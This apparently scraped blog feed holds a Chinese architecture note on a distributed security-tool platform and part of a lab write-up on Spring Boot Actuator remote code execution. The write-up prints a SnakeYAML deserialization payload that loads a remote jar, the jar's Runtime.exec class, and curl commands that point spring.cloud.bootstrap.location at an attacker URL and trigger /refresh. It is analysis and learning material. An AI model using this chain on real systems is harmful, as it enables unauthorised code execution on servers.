<p><strong>简历投递</strong></p>

<ul>
  <li>邮箱投递：发送至 binlin.yan@chaitin.com</li>
  <li>微信投递：添加微信 xiaobing1024 私聊发送</li>
</ul>

<p>有岗位问题咨询、技术交流，也可以通过以上方式联系</p>

<h2 id="0x06-总结">0x06. 总结</h2>

<p>在这篇笔记完成时，2021 年已经过去了，在看完远在异国我佳和朋友圈各位师父的年终总结后，觉得自己也该做一个“总结”，因此就有了这篇笔记。文中介绍了我和团队在过去半年多在架构方面的尝试和总结。同第一篇笔记，文字较多，再次感谢大家耐心看完。希望能够为大家提供一些帮助，也希望能够借此机会帮助团队招到更多优秀的小伙伴。</p>

<p>最后，因个人能力和水平有限，文中可能会有描述错误或理解不到位的地方，欢迎各位指出和交流。</p>

<p>最最后，如果各位觉得文章对你有帮助，欢迎关注、点赞收藏和转发。</p>

<h2 id="0x07-参考">0x07. 参考</h2>

<ul>
  <li>自动化安全工具平台 - 架构笔记 <a href="https://mp.weixin.qq.com/s?__biz=MzkwNDE5NzUyMA==&amp;mid=2247483657&amp;idx=1&amp;sn=890bfd44726b334ccaecc5195086aab4&amp;scene=21#wechat_redirect">https://mp.weixin.qq.com/s/OMhS9yFlcpI9KOQduSxq9g</a></li>
  <li>TypeScript https://www.typescriptlang.org/</li>
  <li>gRPC https://grpc.io/</li>
  <li>
    <table>
      <tbody>
        <tr>
          <td>Workloads</td>
          <td>Kubernetes https://kubernetes.io/docs/concepts/workloads/</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>
    <table>
      <tbody>
        <tr>
          <td>Operator pattern</td>
          <td>Kubernetes https://kubernetes.io/docs/concepts/extend-kubernetes/operator/</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>The Go Programming Language https://go.dev/</li>
  <li>Dramatiq Cookbook https://dramatiq.io/cookbook.html</li>
  <li>Gitlab CI/CD https://docs.gitlab.com/ee/ci/</li>
  <li>Sentry https://sentry.io/</li>
  <li>Prometheus https://prometheus.io/</li>
</ul>]]></content><author><name>b1ngz</name></author><summary type="html"><![CDATA[0x01. 简介]]></summary></entry><entry><title type="html">自动化安全工具平台 - 架构笔记</title><link href="https://b1ngz.github.io/automatic-security-tool-platform-architecture-note/" rel="alternate" type="text/html" title="自动化安全工具平台 - 架构笔记" /><published>2020-12-24T00:00:00+00:00</published><updated>2020-12-24T00:00:00+00:00</updated><id>https://b1ngz.github.io/automatic-security-tool-platform-architecture-note</id><content type="html" xml:base="https://b1ngz.github.io/automatic-security-tool-platform-architecture-note/"><![CDATA[<h2 id="0x01-简介">0x01. 简介</h2>

<p>这篇笔记是这几年我在写自动化安全工具平台过程中，在架构方面的一些想法、思考、尝试和总结，主要内容包括：</p>

<ul>
  <li>为什么我要写自动化安全工具平台？</li>
  <li>平台 1.0 版本架构介绍、所遇到的问题</li>
  <li>平台 2.0 版本架构介绍、如何解决 1.0 版本所遇到的问题</li>
  <li>未来的一些想法和计划</li>
  <li>内容总结</li>
</ul>

<p><br /></p>

<hr />

<p>原文链接 <a href="https://mp.weixin.qq.com/s/OMhS9yFlcpI9KOQduSxq9g">自动化安全工具平台 - 架构笔记</a></p>

<p>欢迎关注</p>

<p><img src="/assets/images/mp-weixin/qrcode.png" alt="mp-weixin" width="300" /></p>

<h2 id="0x02-why">0x02. Why</h2>

<p>在安全测试和挖洞的过程中，我们会用到许多的安全工具，个人在使用时，遇到了如下一些问题：</p>

<ul>
  <li>工具的命令行交互方式用户体验不佳，结果查看和筛选不方便</li>
  <li>随着工具使用数量增多，需要记住更多的命令和参数，如何有效的打通各工具也成为一个问题</li>
  <li>手工操作存在重复劳动，如对于每一个根域名，都要进行子域名收集、IP 解析、端口扫描等操作</li>
  <li>结果持久化存储和管理问题，比如我想查询某个域名有哪些子域名、是什么时候发现的、解析到哪些 IP、开放了哪些端口，如果没有资产管理平台，很难实现这些功能</li>
  <li>工具开发语言、风格多样化，优化和定制修改成本较高</li>
  <li>运行速度，对于大量目标，单机运行的速度远远无法满足需求</li>
  <li>工具间缺少公共功能和模块，如定时任务、结果通知</li>
  <li>…</li>
</ul>

<p>因为以上列出和没列出的种种原因，我决定写一个自用的安全工具平台，它需要满足以下条件：</p>

<ul>
  <li>提供人性化的 web 管理界面，即能选择的，尽可能不输入，鼠标点击一下能完成的，尽可能不点两下</li>
  <li>将常用工具封装成任务模块，通过参数配置来控制任务执行，实现底层细节屏蔽，简化操作</li>
  <li>实行任务模块间的打通，即某个任务的结果可以作为其他任务的输入</li>
  <li>支持资产管理、任务运行和结果查看等功能</li>
  <li>分布式，可通过机器扩容来提高扫描速率</li>
  <li>支持定时模块，实现任务的自动化周期运行</li>
  <li>…</li>
</ul>

<p>为了能够实现预期目标，需要有一套良好的架构来支撑，来看一下平台的 1.0 架构</p>

<h2 id="0x03-10-版本架构">0x03. 1.0 版本架构</h2>

<p>1.0 版本的架构图如下：</p>

<p><img src="/assets/images/platform-architecture-1/architecture-1.0.png" alt="图片" /></p>

<p>使用到的技术栈和组件信息：</p>

<ul>
  <li>前端：Vue，使用基于 Element UI 的开源管理后台模版</li>
  <li>后端：Python 3.6，API 使用 Django REST framework</li>
  <li>反向代理：Nginx</li>
  <li>数据库：PostgreSQL</li>
  <li>缓存：Redis</li>
  <li>Message Broker：RabbitMQ</li>
  <li>分布式任务框架：Celery</li>
  <li>定时任务：Celery beat</li>
  <li>任务监控：Flower</li>
  <li>服务部署：Docker + Docker Compose + SSH</li>
</ul>

<p>对于写过分布式工具的师父来说，整体架构应该还是相对比较简单的。</p>

<p>接着来一起了解一下我是如何选择技术框架和组件的</p>

<ul>
  <li>首先最基础的是开发语言，它决定了后续用到的框架和组件生态。当时用的比较多的开发语言是 Java，但对于写自用的工具而言，Java 在开发效率和成本上都比较 “重” ，因为有很多优秀的开源工具是用 Python 写的，所以最终就选择了它</li>
  <li>第二点是前后端框架选型。后端框架上，因为 Django 进行了很多高阶封装，相比轻量级的 Flask 而言，开发速度上会更快。前端框架上，个人认为前后端分离更易于维护，开发效率更高，因此我没有选择 Django 的 templates，也因偶然的机会看到了基于 Vue 的 Element-UI 组件库，试用后觉得这真是像我这种不擅长前端人的福音，之后通过慢慢的学习，也感受到了 Vue 的简洁和强大</li>
  <li>第三点是数据库，当时之所以选择了 PostgreSQL，原因有两个，一是想接触一下没有使用过的东西。二是被官网的介绍 - The world’s most advanced open source database 所吸引。在之后的使用过程中，遇到了某些 model 字段需要使用到 JSON 类型，当时 Django 2.x 版本只有 Postgresql 支持。不过在 Django 3.1 版本，主流数据库也都支持了 JSONField，因为是 ORM，只要不是使用到了某个数据库特有的 feature，理论上是可以切换的</li>
  <li>第四点是分布式组件，任务调度框架选择了历史悠久、使用广泛、功能全面的 Celery，任务停止、定时任务、任务监控、任务优先级，该有的一应俱全，不过也正因为它悠久的历史，也导致它代码量过于庞大、配置较为复杂，很多  bug 一两年都没有解决，在使用过程中也遇到了一些稳定性方面的问题，导致最终放弃了它，这部分原因后面会具体解释。还有就是 message broker，之前看过一些 RabbitMQ 的文章，稳定、使用广泛，所以就决定是它了</li>
  <li>最后一点是服务部署，这几年容器化是一个趋势，因此我将平台上所有的服务都基于 docker / docker compose 搭建，容器化能够保证开发和线上环境的一致性，提升服务部署和扩容速度</li>
</ul>

<p>了解完技术选型的过程，再来一起看看 1.0 版本在实现和使用过程中，我所遇到的一些问题</p>

<ul>
  <li>首先第一点是稳定性，安全工具中很多任务都是网络 IO 型，为了提高任务的执行效率，在运行 Celery worker 时是以 Gevent 协程方式启动，在运行一段时间后，会时常出现 BrokenPipeError 错误后 worker 卡死，不再消费队列任务的情况，只能通过重启解决。根据 Github issues 的记录这个问题在 17 年有人报告过，但直到我写这篇笔记时，该问题仍然没有解决，我自己也曾尝试通过阅读源码定位原因，但因为 Celery 代码量较大，最后也放弃了</li>
  <li>第二点是可用性，说到这点，就得提一下 19 年 8 月我发过的一条微博，大致内容是，凌晨收到 VPS 厂商的一封邮件，提示我的一台服务器所在物理机故障，需要重启。早上起来一看，运行任务全部失败，查了下原因，发现那台半夜重启的服务器上运行着 RabbitMQ 服务。然后就在一个月后，我在尝试增加 worker 节点数量，因为没有数据库连接池，高并发导致 worker 频繁的与 db 建立连接，使机器 CPU 飙升到 100%。从这两件事情，我开始思考现在架构在可用性方面的问题，例如是否存在单点故障、是否能够支撑水平无限扩展</li>
  <li>第三点是灵活性和用户体验，实现自动化离不开定时模块，但 1.0 版本的定时任务，无法支持动态创建和修改，需要重启后生效，因此灵活性上需要优化。此外，部分功能前端界面设计的不够友好，管理后台模版功能不够强大，也无法满足极致人性化的要求</li>
  <li>第四点是服务部署和扩容，部分服务仍依赖手工操作。对于自动化部分，配置没有与代码分离开，配置方面也比较复杂，服务上线效率不高</li>
  <li>第五点是代码维护成本，因为 1.0 版本是在边学习边实现的过程中完成的，存在着模块间代码高度耦合、重复代码多等问题，导致代码修改和新功能实现上都较困难。</li>
  <li>…</li>
</ul>

<p>为了解决上述 1.0 版本所面临的问题，实现稳定、高可用、高度自动化的目标，我走上了 2.0 版本的重构和改造之路</p>

<h2 id="0x04-20-版本架构">0x04. 2.0 版本架构</h2>

<p>2.0 版本的架构图如下</p>

<p><img src="/assets/images/platform-architecture-1/architecture-2.0.png" alt="图片" /></p>

<p>使用到的技术栈和组件信息，这里仅列出与 1.0 版本不同的地方</p>

<ul>
  <li>前端：使用更为强大的管理后台模板 https://github.com/PanJiaChen/vue-admin-template</li>
  <li>数据库：PostgreSQL Cluster</li>
  <li>数据库连接池：PgBouncer</li>
  <li>Message Broker：RabbitMQ Cluster</li>
  <li>消息监控：RabbitMQ Management Plugin</li>
  <li>分布式任务框架：Dramatiq</li>
  <li>定时任务：APScheduler</li>
</ul>

<p>相比 1.0，新版本改进和优化的地方主要有：</p>

<ul>
  <li>RabbitMQ 由单节点变为 Cluster 模式，通过 Queue Mirroring 来保证高可用，即某个队列里的消息会在多个节点进行镜像 (mirrored)，即使某个节点异常宕机，消息也不会丢失</li>
  <li>数据库 Postgresql 由单节点变为 Cluster 模式，通过读写分离，增加 slave 节点来支撑 worker 的水平扩展，保证 DB 的稳定性和可用性</li>
  <li>使用 PgBouncer 作为数据库连接池，来避免频繁建立、关闭数据库连接，降低机器负载，提升稳定性</li>
  <li>任务调度框架由 Celery 替换为 Dramatiq，该框架的优点是运行非常稳定、代码结构清晰，但功能上要相比 Celery 少，不过可以通过实现自定义 middleware 来进行扩展</li>
  <li>基于 APScheduler 和 Dramatiq 实现定时任务功能，支持动态添加和修改定时任务</li>
  <li>创建新项目，用于服务的自动化部署，提供修改配置文件的方式，来进行上线和扩容，提高部署效率</li>
  <li>项目重构，将各个任务模块的代码分离，封装公共 utils 函数，提升可维护性</li>
  <li>…</li>
</ul>

<p>除了以上的点外，还有一个关于多任务同时运行，资源分配和抢占的问题，想和大家聊一下</p>

<p>前面提到，任务会通过定时模块周期性的运行，即队列中时时刻刻都有任务在运行或等待运行。假如某天我们发现了一个新漏洞，POC 已写好，扫描任务也已创建，但此时资源都已经被其他已运行的任务占用，只能等待其他任务完成或手动停止释放资源。为了能够更好的解决这个问题，需要有机制能够让新任务具备抢占其他正在运行任务的资源的能力，那么如何实现呢？以下是我的思路和做法：</p>

<ul>
  <li>队列里的消息/任务需要有优先级之分，即当有空闲资源时，高优先级的任务会优先执行，RabbitMQ 的 Priority Queue 能够很好的支持这一点</li>
  <li>尽量避免一个任务的执行时间过长，即将一个大任务拆分成多个小任务，如每个小任务能够在几分钟内执行完成，这样可以缩短新建高优先级任务等待资源释放的时间</li>
  <li>控制并发执行任务数，假设要扫描几十万 IP 的全端口，我会把它拆分成数量更多的子任务，因为我的机器资源有限，我不会将所有子任务都一次性发送到队列中去，而是会先启动一个端口扫描的主任务，在主任务中来控制子任务的发送。这样做不仅可以实现控制子任务的并发执行数、动态调整优先级、停止任务等功能，还可以动态分配资源，让多个不同优先级的任务能同时运行</li>
</ul>

<p>说了这么多，那么实际效果怎么样呢？以下是 2.0 架构今年的一些使用情况</p>

<ul>
  <li>未遇到因框架或组件问题导致的服务中断</li>
  <li>最长稳定运行时间 180 天 +，也即我有半年时间没有添加新功能，每天按照配置的定时任务稳定运行的最长记录</li>
  <li>顶峰集群规模：共 84 台服务器，其中 80 台 worker 机器，其余 4 台机器混部 DB、RabbitMQ、Redis 等服务，这个大概跑了两周时间</li>
</ul>

<h2 id="0x05-想法和计划">0x05. 想法和计划</h2>

<p>虽然 2.0 版本优化和解决了 1.0 版本中的很多问题，但它仍然有很多不足和待改进的地方，例如数据库使用集群模式后，存在多个节点，目前 worker 端连接时，是随机选择其一，一旦某个节点宕机，就会导致部分请求失败，再加上数据库配置是通过 docker env-file 传入，无法实现动态摘除节点，需要重新部署。另外，随机选择也带了另一个问题，不同节点之间的负载存在不均衡的情况。因此，为了能够让平台更加稳定，实现高度自动化目标，还需要对架构进行进一步的优化。以下是目前的一些 ToDo，因为只是初步的想法，有可能不一定会实际去实现，大家可以简单参考一下：</p>

<ul>
  <li>基于如 ZooKeeper 或 etcd 实现统一分布式配置中心，解决数据库、RabbitMQ 等配置的动态更新问题</li>
  <li>基于如 HAProxy 实现 TCP 代理，解决数据库、RabbitMQ 等服务高可用和负载均衡问题</li>
  <li>继续完善和提高服务自动化部署程度，例如自动化扩容数据库 Slaver 节点、RabbitMQ 节点等</li>
  <li>完善服务监控和报警功能，如接入 Sentry 等</li>
  <li>…</li>
</ul>

<h2 id="0x06-总结">0x06. 总结</h2>

<p>这篇笔记介绍了我在写自动化安全工具平台过程中，在构架方面的一些个人思考和总结，文字比较多，感谢大家耐心看完，希望能够给同样在写自动化工具的人提供一些帮助。另外，因个人能力和水平有限，文中可能会有描述错误或理解不到位的地方，欢迎各位指正和交流。</p>

<p>最后是下篇笔记的预告时间，我会介绍平台上的一些功能和自己的想法，感兴趣的老板可以关注一下</p>

<h2 id="0x07-参考">0x07. 参考</h2>

<ul>
  <li>Django REST framework https://www.django-rest-framework.org/</li>
  <li>Dramatiq: background tasks  https://dramatiq.io/</li>
  <li>Clustering Guide — RabbitMQ https://www.rabbitmq.com/clustering.html</li>
  <li>Priority Queue Support — RabbitMQ https://www.rabbitmq.com/priority.html</li>
  <li>PostgreSQL High Availability, Load Balancing, and Replication https://www.postgresql.org/docs/11/high-availability.html</li>
  <li>PgBouncer - lightweight connection pooler for PostgreSQL https://www.pgbouncer.org/</li>
  <li>Celery https://docs.celeryproject.org/en/stable/getting-started/introduction.html</li>
  <li>Vue.js https://vuejs.org/</li>
  <li>Element - A Desktop UI Toolkit for Web https://element.eleme.io/</li>
</ul>]]></content><author><name>b1ngz</name></author><summary type="html"><![CDATA[0x01. 简介]]></summary></entry><entry><title type="html">Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记</title><link href="https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/" rel="alternate" type="text/html" title="Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记" /><published>2019-12-25T00:00:00+00:00</published><updated>2019-12-25T00:00:00+00:00</updated><id>https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note</id><content type="html" xml:base="https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/"><![CDATA[<h2 id="0x01-tldr">0x01. TL;DR</h2>

<p>今年二月份，<a href="https://www.veracode.com/blog/author/michael-stepankin">Michael Stepankin</a> 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators，文中介绍了多种利用思路和方式，接着作者在五月份的时候更新了文章，增加了在使用 Spring Cloud 相关组件时，通过修改 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 环境变量实现 RCE 的方法，因为网上没有找到该方法的分析文章，自己 debug 并记录了一下过程，主要内容包括</p>

<ul>
  <li>通过修改环境变量实现 RCE 的原理和过程分析</li>
  <li>SnakeYAML 反序列化介绍和利用</li>
  <li>高版本 Spring Boot Actuator 利用测试和失败原因分析</li>
  <li>自己的一些思考</li>
</ul>

<p>本文中涉及到的代码和漏洞环境参考 https://github.com/b1ngz/spring-boot-actuator-cloud-vul</p>

<h2 id="0x02-rce-分析">0x02. RCE 分析</h2>

<p>首先简单总结一下利用过程</p>

<ol>
  <li>
    <p>利用 <code class="language-plaintext highlighter-rouge">/env</code>  endpoint 修改 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 属性值为一个外部 yml 配置文件 url 地址，如 <code class="language-plaintext highlighter-rouge">http://127.0.0.1:63712/yaml-payload.yml</code></p>
  </li>
  <li>
    <p>请求 <code class="language-plaintext highlighter-rouge">/refresh</code> endpoint，触发程序下载外部 yml 文件，并由 SnakeYAML 库进行解析，因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数，结合 JDK 自带的 <code class="language-plaintext highlighter-rouge">javax.script.ScriptEngineManager</code> 类，可实现加载远程 jar 包，完成任意代码执行</p>
  </li>
</ol>

<p>从过程中我们知道，命令执行是由于 SnakeYAML 在解析 YAML 文件时，存在反序列化漏洞导致的，来看一个使用 SnakeYAML 库反序列化的例子</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testYaml</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">Yaml</span> <span class="n">yaml</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Yaml</span><span class="o">();</span>
        <span class="nc">Object</span> <span class="n">url</span> <span class="o">=</span> <span class="n">yaml</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="s">"!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]"</span><span class="o">);</span>
        <span class="c1">// class java.net.URL</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">url</span><span class="o">.</span><span class="na">getClass</span><span class="o">());</span>
        <span class="c1">// http://127.0.0.1:63712/yaml-payload.jar</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">url</span><span class="o">);</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>SnakeYAML 支持 <code class="language-plaintext highlighter-rouge">!!</code> + 完整类名的方式来指定要反序列化的类，然后以 <code class="language-plaintext highlighter-rouge">[arg1, arg2, ...]</code> 的方式来传递构造方法参数，例子中的代码执行完后会出反序列化一个 <code class="language-plaintext highlighter-rouge">java.net.URL</code> 类的实例</p>

<p>再来看一下文章给出的外部 yml 文件 <code class="language-plaintext highlighter-rouge">yaml-payload.yml</code> 的内容</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">!!javax.script.ScriptEngineManager</span> <span class="pi">[</span>
  <span class="kt">!!java.net.URLClassLoader</span> <span class="pi">[[</span>
    <span class="kt">!!java.net.URL</span> <span class="pi">[</span><span class="s2">"</span><span class="s">http://127.0.0.1:61234/yaml-payload.jar"</span><span class="pi">]</span>
  <span class="pi">]]</span>
<span class="pi">]</span>
</code></pre></div></div>

<p>SnakeYAML 处理上述内容的过程可以等价于以下 java 代码</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">URL</span> <span class="n">url</span> <span class="o">=</span> <span class="k">new</span> <span class="no">URL</span><span class="o">(</span><span class="s">"http://127.0.0.1:63712/yaml-payload.jar"</span><span class="o">);</span>
<span class="k">new</span> <span class="nf">ScriptEngineManager</span><span class="o">(</span><span class="k">new</span> <span class="nc">URLClassLoader</span><span class="o">(</span><span class="k">new</span> <span class="no">URL</span><span class="o">[]{</span><span class="n">url</span><span class="o">}));</span>
</code></pre></div></div>

<p>代码执行后，会从 <code class="language-plaintext highlighter-rouge">http://127.0.0.1:63712/yaml-payload.jar</code> 地址下载 jar 包，并在包中寻找一个 <code class="language-plaintext highlighter-rouge">javax.script.ScriptEngineFactory</code> 接口的实现类，然后实例化，因为这个 jar 包代码是可控的，因此可执行任意代码</p>

<p>大致过程明白了，我们来 debug 一下</p>

<p>作者给出的 <code class="language-plaintext highlighter-rouge">yaml-payload.jar</code> 代码见 https://github.com/artsploit/yaml-payload，关键代码为 <code class="language-plaintext highlighter-rouge">AwesomeScriptEngineFactory.java</code> 类，构造函数中使用 Runtime 来执行系统命令</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">artsploit</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">javax.script.ScriptEngine</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.script.ScriptEngineFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.List</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">AwesomeScriptEngineFactory</span> <span class="kd">implements</span> <span class="nc">ScriptEngineFactory</span> <span class="o">{</span>

    <span class="kd">public</span> <span class="nf">AwesomeScriptEngineFactory</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
        <span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="s">"/Applications/Calculator.app/Contents/MacOS/Calculator"</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
    <span class="o">...</span>
<span class="o">}</span>
</code></pre></div></div>

<p>我们在 <code class="language-plaintext highlighter-rouge">Runtime.exec()</code> 方法下断点，调用栈如下</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/snakeyml-stacktrace.png" alt="image-20191128201612824" /></p>

<p>方法调用顺序</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">javax</span><span class="o">.</span><span class="na">script</span><span class="o">.</span><span class="na">ScriptEngineManager</span><span class="o">&lt;</span><span class="n">init</span><span class="o">&gt;</span>
	<span class="n">javax</span><span class="o">.</span><span class="na">script</span><span class="o">.</span><span class="na">ScriptEngineManager</span><span class="o">.</span><span class="na">init</span><span class="o">()</span>
		<span class="n">javax</span><span class="o">.</span><span class="na">script</span><span class="o">.</span><span class="na">ScriptEngineManager</span><span class="o">.</span><span class="na">initEngines</span><span class="o">()</span>
			<span class="n">java</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">ServiceLoader</span><span class="o">.</span><span class="na">LazyIterator</span><span class="o">.</span><span class="na">nextService</span><span class="o">()</span>
				<span class="n">artsploit</span><span class="o">.</span><span class="na">AwesomeScriptEngineFactory</span><span class="o">&lt;</span><span class="n">init</span><span class="o">&gt;</span>
					<span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">()</span>
</code></pre></div></div>

<p>在 <code class="language-plaintext highlighter-rouge">ScriptEngineManager</code> 类的 <code class="language-plaintext highlighter-rouge">initEngines</code> 方法中使用了 Java SPI 机制来动态加载接口 <code class="language-plaintext highlighter-rouge">ScriptEngineFactory</code> 的实现类</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/snakeyml-spi.png" alt="image-20191128200536305" /></p>

<p>这也是为什么 jar 包中 <code class="language-plaintext highlighter-rouge">AwesomeScriptEngineFactory</code> 类需要实现 <code class="language-plaintext highlighter-rouge">ScriptEngineFactory</code> 接口、并且 <code class="language-plaintext highlighter-rouge">META-INF/services</code> 目录下需要有一个文件名为 <code class="language-plaintext highlighter-rouge">javax.script.ScriptEngineFactory</code>，值为实现类完整包名的原因，即需要符合 Java SPI 实现规范</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/jar-spi-services.png" alt="image-20191128200916571" /></p>

<p>在 <code class="language-plaintext highlighter-rouge">ServiceLoader</code> 加载实现类的过程中，会调用无参数构造方法来创建实例，触发命令执行</p>

<p>对应代码在 <code class="language-plaintext highlighter-rouge">ServiceLoader.LazyIterator</code> 类的 <code class="language-plaintext highlighter-rouge">nextService()</code></p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/snakeyml-debug.png" alt="image-20191128194829490" /></p>

<p>分析完 YAML 反序列化后，我们来看一下在 Spring Boot Actuator 中时的执行流程，漏洞环境和代码见 master 分支</p>

<p>以 debug 模式运行漏洞环境，同样在 <code class="language-plaintext highlighter-rouge">Runtime.exec()</code> 方法下断点</p>

<p>首先修改 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code></p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-XPOST</span> http://127.0.0.1:61234/env <span class="nt">-d</span> <span class="s2">"spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"</span>  
</code></pre></div></div>

<p>访问 http://127.0.0.1:61234/env，可以看到在 <code class="language-plaintext highlighter-rouge">manager</code> 下多了我们设置的值</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/modify-env.png" alt="image-20191128202320441" /></p>

<p>然后请求 <code class="language-plaintext highlighter-rouge">/refresh</code> 接口触发</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-XPOST</span> http://127.0.0.1:61234/refresh
</code></pre></div></div>

<p>调用栈比较长，我们来看几个关键的地方</p>

<p>第一个是 <code class="language-plaintext highlighter-rouge">RefreshEndpoint.refresh()</code> 方法 ，即处理 <code class="language-plaintext highlighter-rouge">/refresh</code>  接口请求的类</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-1-refresh-endpoint.png" alt="image-20191128203000766" /></p>

<p>第二个是  <code class="language-plaintext highlighter-rouge">BootstrapApplicationListener.bootstrapServiceContext()</code> 方法，这里从环境变量中获取到了 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 的值，即之前设置的外部 yml 文件 url</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-1-bootstrapapplicationlistener.png" alt="image-20191201222608591" /></p>

<p>接着会到 <code class="language-plaintext highlighter-rouge">org.springframework.boot.env.PropertySourcesLoader.load()</code> 方法，根据文件名后缀 (yml) ，使用 <code class="language-plaintext highlighter-rouge">YamlPropertySourceLoader</code> 类加载 url 对应的 yml 配置文件</p>

<p>根据右侧代码，因 spring-beans.jar 包含 snakeyaml.jar，因此 <code class="language-plaintext highlighter-rouge">YamlPropertySourceLoader</code>  在默认情况下是使用 SnakeYAML 库解析配置</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-1-propertysourcesloader.png" alt="image-20191201223032924" /></p>

<p>最终由 <code class="language-plaintext highlighter-rouge">YamlProcessor.process()</code> 方法中调用 <code class="language-plaintext highlighter-rouge">Yaml.loadAll()</code> 解析 yml 文件内容 ，之后的流程就和前面 <code class="language-plaintext highlighter-rouge">SnakeYAML</code> 反序列化过程类似，最终触发命令执行</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-1-yamlprocessor.png" alt="image-20191201223430957" /></p>

<h2 id="0x03-高版本测试">0x03. 高版本测试</h2>

<p>作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本，而在实际的测试过程中，遇到很多情况是 Spring Boot 2.x 版本。 在 2.x 版本中，actuator 默认的 endpoint 前缀是 <code class="language-plaintext highlighter-rouge">/actuator</code>，并且修改环境变量的 <code class="language-plaintext highlighter-rouge">env</code> 接口的 post body 也变成了 json 格式，步骤为</p>

<p>修改环境变量</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-XPOST</span> <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> http://127.0.0.1:61234/actuator/env <span class="nt">-d</span> <span class="s1">'{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'</span>
</code></pre></div></div>

<p>访问 http://127.0.0.1:61234/actuator/env，可以看到 propertySources 下多了刚才设置的值</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-2-env.png" alt="image-20191128213946911" /></p>

<p>接着 refresh 触发</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-XPOST</span> http://127.0.0.1:61234/actuator/refresh
</code></pre></div></div>

<p>执行完后，你会发现计算器并没有弹出，此时，黑人问号？？？只能再次 debug 找下原因</p>

<p>经过一番研究，发现是因为 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 属性的值没有生效的缘故</p>

<p>来回忆一下之前提到的第二个关键点</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">BootstrapApplicationListener.bootstrapServiceContext()</code> ，这里从环境变量中获取到了 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 的值，即之前设置的外部 yml 文件 url</p>
</blockquote>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-2-bootstrapapplicationlistener.png" alt="image-20191201224920275" /></p>

<p>可以看到，<code class="language-plaintext highlighter-rouge">configLocation</code> 的值为空，即无法从 environment 解析到 <code class="language-plaintext highlighter-rouge">${spring.cloud.bootstrap.location}</code> 的值</p>

<p>通过对调用方法和变量的分析，发现是因为 <code class="language-plaintext highlighter-rouge">environment</code> 变量中的 <code class="language-plaintext highlighter-rouge">propertySourceList</code> 属性发生了变化</p>

<p>先来看一下 1.x 版本的，可以看到是包含名为 <code class="language-plaintext highlighter-rouge">manager</code> 的 PropertySource</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-1-propertiesSources.png" alt="image-20191130163635709" /></p>

